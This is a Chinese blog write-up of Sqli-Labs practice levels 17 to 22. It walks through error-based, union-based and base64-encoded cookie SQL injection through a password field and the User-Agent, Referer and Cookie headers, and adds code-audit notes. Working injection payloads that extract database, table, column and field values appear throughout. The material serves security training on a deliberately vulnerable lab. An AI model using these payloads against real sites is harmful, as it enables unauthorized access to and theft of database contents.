基于Sqli-Labs靶场的SQL注入-17~22关

2023-11-08

目录

Less-17:基于POST请求方式的中级注入

爆破数据库名

爆破表名 

爆破列名 

爆破字段值 

第十七关代码审计

Less-18:HTTP头部注入-UA注入

爆破数据库名

爆破表名 

爆破列名 

爆破字段值 

HTTP头部注入判断方法

Less-19:HTTP头部注入-Referer注入

爆破数据库名

爆破表名        

爆破列名  

爆破字段值

Less-20:HTTP头部注入-Cookie注入

COOKIE理解

爆破数据库名

爆破表名

爆破列名

爆破字段值

Less-21:HTTP头部注入-使用 base-64 编码进行加密的Cookie注入

爆破数据库名字

爆破表名

爆破列名

爆破字段值

Less-22:HTTP头部注入-使用 base-64 编码进行加密的Cookie注入

总结



Less-17:基于POST请求方式的中级注入


        首先我们进入这一关:

        可以看到这一关让你进行“密码重置”,我们这里首先随便输入一个账户和密码进行测试。我这里用户名输入1,密码输入1。观察页面回显:

        可以看到页面回显对我们很不友好,对于一个搞网安的,这能忍?

        我们进行注入点测试,先测试用户名这一栏有没有漏洞,我测试单引号为注入点,观察页面回显:

        很显然,没用。那么我们就测试修改密码的输入框看看有没有,依旧输入单引号测试:

        很显然,依旧没用。这里注意一下我为什么不使用其他注入点,其实一般情况下你输入单引号如果存在漏洞就报错了,因为单引号不匹配。当然你们可以去测试双引号为注入点的情况以及 ') 为注入点的情况等等。这里我以及做过测试了,都没用,不在赘述了。这个情况就说明两种情况:

1、在这两个输入框中对我们输入的单引号等进行了过滤

2、可能有前提条件限制,例如必须你输入了正确的用户才能进行下一步操作,如果输入的用户名不正确那么我们无论怎么修改密码都无济于事。

        因为显示出了一个用户名“DhaKKan”,所以我们用它作为用户名进行尝试,看看它是不是正确的用户名。我们将其密码修改为1,观察页面回显:

        可以看到出现了成功修改后的页面,说明用户名是没问题的,也证实了必须有正确的用户名才能进行密码修改。

        接下来就是再次尝试注入点在哪儿,也就是找漏洞,我们首先查看用户名这里有没有注入点,输入单引号进行测试,观察页面回显:

        发现还是不行,那就测试修改密码的地方看看行不行,输入单引号测试:            可以看到不仅回显了成功修改密码后的页面而且出现了SQL语句报错,说明此处存在注入点。且注入点就是单引号。

        接下来我们首先看一下该数据库有多少列,在修改密码的地方输入语句:

1' order by 3 #

        页面回显:          可以看到页面报错,说明列数小于3,我们继续测试,输入语句:

1' order by 1 #

        页面回显:         可以看到也是报错,说明这一关就不能使用联合注入了,因为联合注入必须要用 order by 语句去测试有多少列,然后根据列数去写语句,这里显然不能使用联合注入。       

        不能使用联合注入的时候首先考虑报错注入,我们尝试一下报错注入。

爆破数据库名


        这里我首先使用 extractvalue() 函数进行注入,在修改密码的地方输入语句:

1' and extractvalue(1,concat(0x7e,database())) #

        页面回显:         

        可以看到成功爆破了数据库名字。

爆破表名 


        这里我使用 updatexml() 函数注入,在修改密码的地方输入语句:

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) #

        页面回显:

        可以看到回显了第一张表的名字,因为报错注入有输出限制,所以要使用 limit 语句。其余表名爆破方式一样,这里不在赘述。

爆破列名 


        在修改密码的地方输入语句:

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),3) #

        页面回显:

        可以看到爆破出了表 emails 中第一列的列名,其余列名爆破方法一样,这里不在赘述。

爆破字段值 


        在修改密码的地方输入语句:

1' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #

        页面回显:        可以看到爆破出了表 emailsid 列的第一个字段值,其余字段值方法一样,这里不在赘述。

第十七关代码审计


        接下来进行代码审计,查看一下这一关的源码并且解析一下。

        从这几个语句可以看出来,我们输入的数据在和后台数据库进行交互的时候会首选判断我们输入的用户名是否存在,存在的话才可以进行修改密码的操作。

        可以看到 uname 被一个函数 check_input() 修饰了,而 passwd 没有被修饰。而函数check_input () 的作用是过滤掉单引号以及进行数字类型的转换,验证输入的值是否为空。所以说我们之前在 uname 输入框中输入了单引号没有作用。

        到这里第十七关就结束了。

Less-18:HTTP头部注入-UA注入


        首先我们进入这一关:

        可以看到这一关下面显示了我们的 IP 地址。我们首先去每个输入框中测试有没有注入点。先测试一下单引号:

        可以看到并没有漏洞,其余像双引号,单引号带括号这种注入点我就不一一测试了,因为都不行,你们可以自己测试一下。

        既然常规方法没有头绪的话,我们可以进行一下代码审计看看什么情况。

        可以看到这一关中 unamepasswd 都被 check_input() 函数修饰了,这个函数的作用就是过滤单引号以及其他符号的。所以说无论我们在两个输入框怎么尝试注入也不行的原因。

         接下来我们看这一条语句,明显是一个插入语句,但是插入的数据中出现了 uagent 。但是查看源码却没有发现对传入的 uagent 进行任何过滤,那么漏洞就在这里。

        接下来我们先看一下登录成功的页面是什么样的:

        可以看到成功登录的页面回显了 IPUser-Agent。所以这里我们使用 User-Agent 注入。

        接下来我们使用 Burp Suite 进行抓包,因为只有登录成功才能使页面回显出来 User-Agent ,所以我们要抓取登录成功时的包,页面中给了我们用户名 Dhakkan 我们就用这个用户名进行登录(密码是1) :

        可以看到成功抓取到了登录成功时的包,接下来我们将其发送到 Repeater :

        这里我们在左侧可以修改页面的 User-AgentRefererCookie等数据并进行发送,在右侧可以实时观察修改之后页面的变化,十分方便。

        这里我们首先把页面原本的 User-Agent 数据全部删除了,替换成我们的注入语句。这里我使用报错注入。

爆破数据库名


        首先测试注入点,输入单引号测试:      

        可以看到页面报错了,那注入点八成就是单引号。接下来输入语句:

' and extractvalue(1,concat(0x7e,database()))) #

        细心的兄弟肯定发现我多了一个括号,这里我解释一下原因,首先我们查看源代码:

        可以看到我们最终输入的注入语句是被带入到 VALUES 后面的语句中执行的,因此要闭合 VALUES 后面的括号,这也就是为什么要多加一个括号的原因,当我们不加括号的语句:

VALUES(' and extractvalue(1,concat(0x7e,database())) #','$IP','$uname')

        可以看到有一个括号是没有闭合的,这样就会导致括号不必配报错,而不是 extractvalue() 函数报错,自然也就得不到我们要的数据。

        页面回显:

        可以看到成功爆破了数据库名字。

爆破表名 


        在 User-Agent 后输入语句:

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #

        页面回显:

        可以看到成功爆破了第一张表的名字,其余表名字的爆破方法一样,这里不在赘述。

爆破列名 


        在 User-Agent 后输入语句:

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #

        页面回显:         

        可以看到回显了表 emails 中第一列的列名,其余列名爆破方法一样,这里不在赘述。

爆破字段值 


         在 User-Agent 后输入语句:

' and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),3)) #

         页面回显:

        可以看到回显了表 emails 中列名为 id 的第一个字段值,爆破其余字段值方法一样,这里不在赘述。 

HTTP头部注入判断方法


         注意页面的显示信息,有没有返回地址信息(IP)、cookie信息、referer信息等等,有返回的话就要想能不能使用BURP抓包实现HTTP头部注入。

        到此第十八关就结束了。

Less-19:HTTP头部注入-Referer注入


        首先进入第十九关靶场:

        发现和第十八关一摸一样,那八成是使用 Burp Suite 抓包进行爆破了,估计两个输入框都进行过滤了。进行代码审计看一下:         

        可以看到确实被过滤了,那么只能使用 Burp Suite 抓包进行注入了,我们首先看一下成功登录的页面显示什么:

        可以看到显示了 IPReferer 信息。一般来说页面回显什么信息,那么该信息一般就存在漏洞,我们在进行代码审计查看一下源码中对 Referer 数据的处理,有没有漏洞。

        可以看到这里插入数据的时候插入了 Referer 数据,但是源码中没有对该数据进行过滤,那么我们的注入点就在这里。

        因为只有在登录成功的时候才会回显 Referer 信息,所以我们要抓取登录成功时的包,用户名就使用页面给我们的 Dhakkan(密码为1)

        成功抓到了登录成功时的包,将其发送到 Repeater :

        接下来我们将原本的 Referer 信息全部替换为我们的注入语句。首先测试注入点,我这里输入单引号做测试:          可以看到页面报错了,那么单引号应该就是注入点,这里我使用报错注入。

爆破数据库名


        在 Referer 后输入语句:

' and extractvalue(1,concat(0x7e,database()))) #

        多加括号的原理和 UA 注入一样,大家不懂的可以看前面一关的讲解。

        页面回显:

        可以看到成功爆破了数据库名字。

爆破表名        


        在 Referer 后输入语句:        

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #

        页面回显:

        可以看到爆破出了第一张表的名字,其余表名爆破方法一样,这里不在赘述。

爆破列名  


        在 Referer 后输入语句:

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #

        页面回显: 

        可以看到爆破出了表 emails 中第一列的名字,爆破其余列的名字方法一样,这里不在赘述。

爆破字段值


        在 Referer 后输入语句: 

' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1)))) #

        页面回显:

        可以看到爆破出了表 emailsid 列的第一个字段值,其余字段值的爆破方法一样,这里不再赘述。

        到此为止,第十九关就结束了。

Less-20:HTTP头部注入-Cookie注入


         首先我们进入这一关:

        可以看到不像前几关那样有明显的回显,我们输入单引号测试一下注入点:

        可以看到输入框中无论怎么测试都会出现登录失败的页面,说明后台应该是过滤了特殊字符,我们进行代码审计看一下:

        可以看到确实过滤了,那么在页面中直接输入语句注入这条路是断了,只能通过抓包了,我们再次进行代码审计看看哪儿有漏洞:

        这一段代码表示当我们正常登录的时候页面会回显 COOKIE 的值,那么我们看看这里有没有漏洞,可以看到取值的时候是取的 cookee 的值然后进行回显,我们尝试找找当把 cookee 这个值传入的时候有没有漏洞:

        可以看到这里就是给 cookee 这个数值赋值的语句,但是源代码中并没有对传入的数值做任何过滤,那么这里就是注入点,修改传入的 COOKIE 值从而进行注入。我这里使用报错注入。

        在注入之前我们要理解网页中的 COOKIE 值包含什么,有什么作用。

COOKIE理解


        Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息,是一个保存在客户机中的简单的文本文件, 这个文件与特定的 Web 文档关联在一起, 保存了该客户机访问这个 Web 文档时的信息, 当客户机再次访问这个 Web 文档时就会调用这些信息使用。由于 “Cookie” 具有可以保存在客户机上的神奇特性, 因此它可以帮助我们实现记录用户个人信息的功能。Cookie 保存的前提条件就是登录成功,这样网页才会根据我们的需求保存 Cookie。当网页保存了 Cookie 之后我们下次登录的时候就不需要输入账户和密码了,会直接登录。这样固然方便但是也造成了一定的安全问题,当有人获取了你的 Cookie 信息的时候就可以不需要账户和密码直接登录你的账号了。一般还是不要在网页中保存你的 Cookie 信息。

爆破数据库名


        我们首先使用 Burp Suite 抓包,但是这一关的抓包和其余关有一点不一样,因为我们要抓到网页保存的 Cookie 信息,但是 Cookie 信息只有当我们成功登录某一个账号的时候才会保存,所以我们必须要成功登录某一个账号之后抓取登录后的包。方法就是登录成功后刷新一下页面,抓取刷新时的包:

        这就是我抓到的包含 Cookie 信息的包,之后将其发送到 Repeater : 

        可以看到在左侧出现了页面保存的 Cookie 信息,这就是我们要注入的地方。

        首先我们测试一下注入点,在 Cookie 值后边输入单引号做一下测试:

        可以看到页面发生了报错,那么注入点应该就是单引号。

        之后输入语句:

' and extractvalue(1,concat(0x7e,database())) #

        页面回显: 

        可以看到成功爆破了数据库名。

爆破表名


        在 Cookie 值后输入语句:

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) #

        页面回显:
         可以看到回显了第一张表的名字,其余表名的爆破方法一样,这里不在赘述。

爆破列名


        在 Cookie 值后输入语句:

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) #

        页面回显: 

        可以看到成功爆破了表 emails 中的第一列的名字。爆破其余列的名字的方法一样,这里不再赘述。 

爆破字段值


        在 Cookie 值后输入语句:

' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #

        页面回显:

         可以看到页面回显了表 emailsid 列的第一个字段值,其余字段值的爆破方法一样,这里不在赘述。

        到这里第二十关就结束了。

Less-21:HTTP头部注入-使用 base-64 编码进行加密的Cookie注入


        首先进入21关:

        可以看到这一关同20关的回显很相似,我们进行测试注入点:

        可以看到无论输入什么符号进行测试页面也只出现登录失败的回显,那应该是后台对我们输入的数据进行了过滤,进行代码审计看一下:

 

        可以看到确实进行了过滤,那我们就只能考虑使用抓包了,我们再次进行代码审计尝试找一下漏洞: 

        可以看到和20关一样,属于 Cookie 注入。那么之后就进行抓包,还是抓取登录之后保存了 Cookie 信息的包:

        将其发送到 Repeater :

        可以发现 Cookie 值与前一关明显不一样了,直观的看上去就像一堆乱码,但其实这是使用了base-64编码 进行加密了。我们可以进行代码审计看一下加密语句:

        这条语句就是加密语句,也就是说网页后台存储我们输入的 Cookie 信息的时候是加密存储的。 

        这一关只要讲我们输入的注入语句也用 base-64编码 加密就可以了,大家可以去网上搜一个加\解密的网页,把我们要注入的语句进行加密然后输入到 Cookie 值后面就可以。我这里使用报错注入。

        给大家一个在线编解码的链接:https://c.runoob.com/front-end/693/

爆破数据库名字


        在 Cookie 值后输入使用 base-64编码 加密后的语句进行测试注入点是什么。

        加密前:

dhakkan'

        加密后:  

        ZGhha2thbic=

        页面回显:

        可以看到注入点应该是 ')  。

        接下来在 Cookie 值后输入使用 base-64编码 加密后的语句:

        加密前:

dhakkan') and extractvalue(1,concat(0x7e,database())) #

        加密后:

        ZGhha2thbicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSkgIw== 

        页面回显:

        可以看到成功爆破了数据库名字。

爆破表名


        在 Cookie 值后输入使用 base-64编码 加密后的语句测试一下数据库列数:

        加密前语句:

dhakkan') order by 4 #

        加密后:

        ZGhha2thbicpIG9yZGVyIGJ5IDQgIw==

        页面回显:

        说明列数小于4,测试一下3:

        加密前语句:

dhakkan') order by 3 #

        加密后:

        ZGhha2thbicpIG9yZGVyIGJ5IDMgIw==

        页面回显:

        列数为3,接下来测试一下有没有显示位:

        输入语句:

0') union select 1,2,3 #

        加密后:

        MCcpIHVuaW9uIHNlbGVjdCAxLDIsMyAj

        页面回显:         可以看到页面存在显示位,可以使用联合注入,我这里就使用联合注入了。

        输入语句:

0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

         加密后:

        MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyAj

        页面回显:
         可以看到回显出了表名。

爆破列名


        输入语句:

0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #

        加密后:

        MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2VtYWlscycgIw==

        页面回显:

        可以看到成功回显出了表 emails 中的列名,爆破其余表的列名只需要将表名字替换就可以,这里不在赘述。

爆破字段值


        输入语句:

0') union select 1,group_concat(id,email_id) ,3 from emails #

        加密后:

        MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChpZCxlbWFpbF9pZCkgLDMgZnJvbSBlbWFpbHMgIw== 

        页面回显:

        可以看到爆破出了表 emails 中的字段值。

        至此第21关就结束了。

Less-22:HTTP头部注入-使用 base-64 编码进行加密的Cookie注入


        这一关和21关操作都一样,只不过注入点换为了双引号,这里就不赘述了。

总结


        这一篇博客我主要讲了 HTTP 头部注入中的 UA、Referer、Cookie 注入以及 base-64编码 。如果有不会使用 Burp Suite 软件的也可以关注一下我哦,我后续会出相关的教程详细讲解如何使用。        

        

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Sqli-Labs靶场的SQL注入-17~22关 的相关文章

  • 用于全文搜索和 2 亿多条记录的数据库

    我即将创建一个包含至少 2 亿个条目的庞大数据库 数据库需要可使用全文进行搜索 并且速度应该很快 我的数据库从许多不同的数据源获取数据 我需要定期导入新的或更新的数据 将我的所有数据存储在像 mysql 这样的关系数据库中 然后创建一个 n
  • PDO获取最后插入的ID

    我有一个查询 我想获取插入的最后一个 ID 字段ID是主键并且自动递增 我知道我必须使用这个声明 LAST INSERT ID 该语句适用于如下查询 query INSERT INTO cell place ID VALUES LAST I
  • 错误代码:1062。重复条目“PRIMARY”

    因此 我的教授给了我表格将其插入数据库 但是当我执行他的代码时 MySQL 不断给出错误代码 1062 这是冲突表和插入 TABLES CREATE TABLE FABRICANTES COD FABRICANTE integer NOT
  • 当我尝试计算 mysqli 结果时,为什么会收到警告?

    下面的代码会导致此警告 警告 count 参数必须是数组或实现 Countable 的对象 为什么要这样做 如何防止出现警告 if isset GET edit sonum GET edit update true result mysql
  • 如何在没有 DROP 数据库权限的情况下从命令行删除所有 MySQL 表? [复制]

    这个问题在这里已经有答案了 如何使用命令提示符删除 Windows MySQL 中的所有表 我想这样做的原因是我们的用户有权访问数据库删除 但无权重新创建数据库本身 因此我们必须手动删除表 有没有办法一次删除所有表 请记住 大多数表都与外键
  • 使用表白名单选项更新 Debezium MySQL 连接器

    我正在使用 Debezium 0 7 5 MySQL 连接器 并且我试图了解如果我想使用以下选项更新此配置 最好的方法是什么table whitelist 假设我创建了一个连接器 如下所示 curl i X POST H Accept ap
  • mysql时间比较

    我有 job start 和 job end 时间 timediff 会给我时间差 现在我想看看这项工作是否花费了超过 2 小时 30 分钟 我如何比较它 如果我这样做 我会收到错误 timediff job start job end g
  • “create_date”时间戳字段的默认值无效

    我有以下 sql 创建语句 mysql gt CREATE TABLE IF NOT EXISTS erp je menus gt id INT 11 NOT NULL AUTO INCREMENT gt name VARCHAR 100
  • 将非常大的Python列表输出保存到mysql表中

    我想将 python 生成的列表的输出保存在 mysql 数据库的表中 该表如下所示 mysql 中的 myapc8 表 https i stack imgur com 4B4Hz png这是Python代码 在此输入图像描述 https
  • sql直接获取表行数的方法

    stackoverflow 的朋友们大家好 我的例行程序中有一个我认为不必要的步骤 假设您想从图库中获取所有图像 并限制每页一定数量的图像 db PDO object start pagenum x images per page limi
  • Mysql加密/存储敏感数据,

    我的 PHP 网站有以下内容 启用 SSL 饼干 session set cookie params cookieParams lifetime cookieParams path cookieParams domain secure ht
  • mysql 查询选择当月的所有行?

    我有一个名为 startdate 的日期时间类型的列 我必须获取当前月份的开始日期和结束日期之间的所有行 即从 1 11 2014 到 30 11 2014 select from your table where year curdate
  • 如何编写一个 SQL 查询来计算每月和每年的行数?

    有谁知道如何查询 vbulletin 数据库来生成每月 每年注册数量的报告 以获得如下结果 MM YYYY Count 01 2001 10 02 2001 12 感谢下面的这些答案 我的最终版本有效如下 SELECT COUNT as R
  • 选择列表;这与我的 sql 中的 DISTINCT 不兼容

    CREATE DEFINER root localhost PROCEDURE GetAllEventIdList SP in skillId varchar 50 in offsetvalue int in recordlimit int
  • 哪些mysql设置影响LOAD DATA INFILE的速度?

    让我来介绍一下情况 我们尝试将适量的行数 大约每天 10 20M 插入到宽度适中的 MyISAM 表中 Field Type Null Key Default Extra blah1 varchar 255 NO PRI blah2 var
  • 执行mvn sql:execute时出错

    我希望 Maven 执行该 sql 文件 它生成的数据库模式稍后将在我的程序中使用 但它不起作用 可能是由 DELIMITER 引起的 当我执行 mvn sql execute 时 它会打印出 ERROR Failed to execute
  • JPA:如何将字符串持久保存到数据库字段中,输入 MYSQL Text

    需求是用户可以写文章 所以我选择typeText为了contentmysql数据库内的字段 我怎样才能转换Java String into MySQL Text 干得好Jim Tough Entity public class Articl
  • MySQL Amazon RDS:超出锁定等待超时

    在 Mysql Amazon RDS 上 当我尝试运行以下 SQL 查询时 UPDATE table1 INNER JOIN table2 USING CommonColumn SET table1 col1 table2 x table1
  • 如何从 Qt 应用程序通过 ODBC 连接到 MySQL 数据库?

    我有一个新安装的 MySQL 服务器 它监听 localhost 3306 从 Qt 应用程序连接到它的正确方法是什么 原来我需要将MySQL添加到ODBC数据源 我在遵循这个视频教程后做到了这一点 https youtu be K3GZi
  • 使用整数数组设置外键

    我对使用 SQL 还很陌生 但我在 Stack Overflow 上遇到过这个关于使用标签的问题 推荐用于标记或标记的 SQL 数据库设计 https stackoverflow com questions 20856 recommende

随机推荐

  • Vue06/Vue中this.$nextTick( ) 的用法及详细介绍

    一 nextTick 语法 this nextTick 箭头函数体 作用 this nextTick这个方法作用是当数据被修改后使用这个方法 回调函数获取更新后的dom再渲染出来 注意 1 data改变 更新DOM是异步的 2 获取更新后的
  • 基于Camera2和MediaRecorder实现视频录制

    一 概述 视频录制 在一般开发中很少遇到 大部分开发工作都是写写页面 请求接口 展示数据等等 真要遇到 可能采用第三方库实现 一来实现快速 二来可能觉得别人实现的比较好 特别是在开发周期很紧的情况下 一般都不会自己花时间实现 其实最好是使用
  • 「AntV」使用AntV X6实现流程编排设计器

    通过对BPMN的深入学习 以及对业界成熟的流程编排设计器的调研 了解到要研发一个流程编排设计器 需要实现如下几个主要的功能 支持创建各种流程图元素 包括任务 活动 网关 事件等 支持绘制各种连接线 包括普通连接线 条件连接线 消息连接线等
  • osg学习(四十八)Windows Error #2000

    Windows Error 2000 Win32WindowingSystem OpenGLContext Unable to restore current OpenGL rendering context Reason 无效的像素格式
  • 海思移植opencv+人脸检测+速度优化

    文章为9crk大神发表在海思论坛 为了备忘 特转到自己博客 地址 http www ebaina com bbs thread 4858 1 1 html 1 确保ubuntu能上网 2 安装cmake 代码 全选 sudo apt get
  • 关于KEIL5编译出现“Target not createt”全系列解决办法——情况1:字节限制 RESTRICTED VERSION WITH 0800H BYTE CODE SIZE LIMIT

    前言 在KEIL5编程 往往遇到许多 Target not createt 即目标不能实现这类情况 由此为帮助大家解决这些问题特开此贴 情况如下 1 2K字节限制错误 ERROR RESTRICTED VERSION WITH 0800H
  • 01背包问题动态规划(二维数组)

    01背包问题动态规划 二维数组 问题描述 一个旅行者有一个最多能装 M 公斤的背包 现在有 n 件物品 它们的重量分别是W1 W2 Wn 它们的价值分别为C1 C2 Cn 求旅行者能获得最大总价值 输入格式 第一行 两个整数 M 背包容量
  • maven项目中新建Servlet问题

    maven项目中新建Servlet问题 该文章分享本人在maven基础学习中遇到的一些问题 以及解决的方法 在IDEA中创建一个maven的web骨架项目后 然后在src main下新建一个directory java 并且设置文件夹为So
  • 为什么选择软件测试这个岗位?(面经)

    面试官 这么多岗位 你为什么会选择软件测试这个岗位 言外之意 你比起这么多应聘者有什么优势 从以下方面回答 1 对软件测试的理解 2 对岗位职责的了解 用自己在大学期间的学习 实习以及自己的优势对于这个岗位有什么好处和满足这个岗位的招聘需求
  • 微信小程序保存图片到相册

    先来看小程序中的保存图片到相册的api wx saveImageToPhotosAlbum filePath test png 这个只是测试路径 没有效果 success res console log success fail funct
  • java环境检测_如何检查是否安装了java环境(即JRE)

    浏览器访问一些调用了图形界面的网页 需要使用JRE 这个时候我们就需要检测操作系统是否已经安装了java环境 JRE 1 点击开始菜单 输入cmd 2 在cmd窗口中输入java 若提示 java 不是内部或外部命令 也不是可运行的程序或批
  • Spring Boot系列之修改内置Tomcat版本

    背景 在 spring boot 出来之前 或者没有使用 spring boot 时 Java EE 开发时如果选择 tomcat servlet 需要自己指定 tomcat 版本 此处没有考虑那种直接把打包的 war 直接扔到本地安装的任
  • 流提取运算符( >> )过滤空白符

    流提取运算符 gt gt 过滤空白符 转载于 https www cnblogs com kevinGaoblog archive 2012 04 12 2444822 html
  • SpringBoot中Swagger2多包扫描问题

    API接口类没有能都放在同一个包下 是按功能模块分的 所以涉及多包扫描的问题 贴出来解决办法 Swagger在POM配置好后 修改SwaggerConfig类 我只贴出要修改的 直接用 swagger2的配置文件 在项目的启动类的同级文件建
  • idea中编写spark程序并打包到集群执行

    本篇主要介绍了如何使用IDEA在本地打包Spark应用程序 以K Means为例 并提交到集群执行 1 安装JDK与Scala SDK JDK和Scala SDK的安装在这里不再赘述 需要注意的是 要设置好环境变量 这样新建项目时就能自动检
  • matlab训练神经网络时,使用mse(均方误差)以外的性能函数。

    除了默认的mse 均方误差 这个性能函数外 还有mae 平均绝对误差 sae 绝对值和误差 sse 平方和误差 crossentropy 交叉熵 要调用其他性能函数 只需要加一行代码 net performFcn mae net是网络名 这
  • Python第二章作业(初级)

    第1关 三角形周长及面积 任务描述 输入的三角形的三条边a b c 的长度 计算并依次输出三角形的周长和面积 结果严格保留2位小数 测试用例的数据保证三角形三边数据可以构成三角形 三角形面积计算公式 公式 其中s a b c 2 输入格式
  • 添加锚点的三种方式

    1 通过链接跳转到指定id的位置 a href a 跳转到指定位置 a ul li 1 li li 1 li li style color red 2 li li 1 li li 1 li ul 2 只有对a标签有效的方法 设置name属性
  • 深度学习09 -Transformer2 - 理论篇

    参考文档 详解Transformer 1 开局来一张Transformer的整体结构图 2 结构图每步分析 1 Encoder 1 Input Embedding 就是对输入的数据进行向量化编码 可能是one hot等等 2 Positio
  • 基于Sqli-Labs靶场的SQL注入-17~22关

    目录 Less 17 基于POST请求方式的中级注入 爆破数据库名 爆破表名 爆破列名 爆破字段值 第十七关代码审计 Less 18 HTTP头部注入 UA注入 爆破数据库名 爆破表名 爆破列名 爆破字段值 HTTP头部注入判断方法 Les